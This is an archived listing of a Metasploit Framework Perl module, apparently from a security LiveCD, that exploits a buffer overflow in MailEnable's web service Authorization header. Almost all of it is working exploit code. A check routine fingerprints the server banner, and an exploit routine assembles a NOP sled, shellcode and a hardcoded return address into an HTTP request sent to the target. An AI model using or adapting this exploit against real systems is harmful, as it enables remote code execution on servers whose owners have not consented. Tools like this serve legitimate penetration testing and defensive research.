home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mailenable_auth_header.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  148 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::mailenable_auth_header;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. use bytes;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info = {
  18.     'Name'     => 'MailEnable Authorization Header Buffer Overflow',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors'  => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
  21.     'Arch'  => [ 'x86' ],
  22.     'OS'    => [ 'win32', 'win2000', 'win2003' ],
  23.     'Priv'     => 0,
  24.     'UserOpts' =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 8080],
  28.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  29.       },
  30.  
  31.     'Description' => Pex::Text::Freeform(qq{
  32.         This module exploits a remote buffer overflow in the MailEnable web service.
  33.     The vulnerability is triggered when a large value is placed into the Authorization
  34.     header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
  35.     MailEnable Professional versions prior to 1.55 are affected.
  36. }),
  37.     'Refs' =>
  38.       [
  39.         ['OSVDB', '15913'],
  40.         ['OSVDB', '15737'],
  41.         ['BID',   '13350'],
  42.         ['CVE',   '2005-1348'],
  43.         ['NSS',   '18123'],
  44.         ['MIL',   '97'],
  45.       ],
  46.  
  47.     'Payload' =>
  48.       {
  49.         'Space' => 512,
  50.         'Keys'  => ['+ws2ord'],
  51.       },
  52.  
  53.     'Targets' =>
  54.       [
  55.         ['MEHTTPS.exe Universal',    0x006c36b7 ], #MEHTTPS.EXE
  56.       ],
  57.  
  58.     'Keys' => ['mailenable'],
  59.  
  60.     'DisclosureDate' => 'Apr 24 2005',
  61.   };
  62.  
  63. sub new {
  64.     my $class = shift;
  65.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  66.     return($self);
  67. }
  68.  
  69. sub Check {
  70.     my $self = shift;
  71.     my $target_host = $self->GetVar('RHOST');
  72.     my $target_port = $self->GetVar('RPORT');
  73.  
  74.     my $s = Msf::Socket::Tcp->new
  75.       (
  76.         'PeerAddr'  => $target_host,
  77.         'PeerPort'  => $target_port,
  78.         'LocalPort' => $self->GetVar('CPORT'),
  79.         'SSL'       => $self->GetVar('SSL'),
  80.       );
  81.     if ($s->IsError) {
  82.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  83.         return $self->CheckCode('Connect');
  84.     }
  85.  
  86.     $s->Send("GET / HTTP/1.0\r\n\r\n");
  87.     my $res = $s->Recv(-1, 5);
  88.     $s->Close();
  89.  
  90.     if (! $res) {
  91.         $self->PrintLine("[*] No response to request");
  92.         return $self->CheckCode('Generic');
  93.     }
  94.  
  95.  
  96.     if ($res =~ /Server: .*MailEnable/)
  97.     {
  98.         $self->PrintLine("[*] Server MailEnable may be vulnerable");
  99.         return $self->CheckCode('Appears');
  100.     }
  101.     else
  102.     {
  103.         $self->PrintLine("[*] Server is probably not vulnerable");
  104.         return $self->CheckCode('Safe');
  105.     }
  106. }
  107.  
  108. sub Exploit {
  109.     my $self = shift;
  110.     my $target_host    = $self->GetVar('RHOST');
  111.     my $target_port    = $self->GetVar('RPORT');
  112.     my $shellcode      = $self->GetVar('EncodedPayload')->Payload;
  113.     my $target_idx     = $self->GetVar('TARGET');
  114.     my $target         = $self->Targets->[$target_idx];
  115.  
  116.     if (! $self->InitNops(128)) {
  117.         $self->PrintLine("[*] Failed to initialize the nop module.");
  118.         return;
  119.     }
  120.     
  121.     my $nop = $self->MakeNops(24);
  122.  
  123.     my $bof = $nop.$shellcode.pack('V',$target->[1]);
  124.     my $ric = "GET / HTTP/1.0\r\n";
  125.     my $ric2 = "Authorization: $bof\r\n\r\n";
  126.  
  127.     my $request = $ric.$ric2;
  128.  
  129.     my $s = Msf::Socket::Tcp->new(
  130.         'PeerAddr' => $target_host,
  131.         'PeerPort' => $target_port,
  132.         'SSL'      => $self->GetVar('SSL'),
  133.       );
  134.  
  135.     if ($s->IsError){
  136.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  137.         return;
  138.     }
  139.  
  140.     $self->PrintLine("[*] Establishing a connection to the target");
  141.  
  142.     $s->Send($request);
  143.     $s->Close();
  144.     return;
  145. }
  146.  
  147. 1;
  148.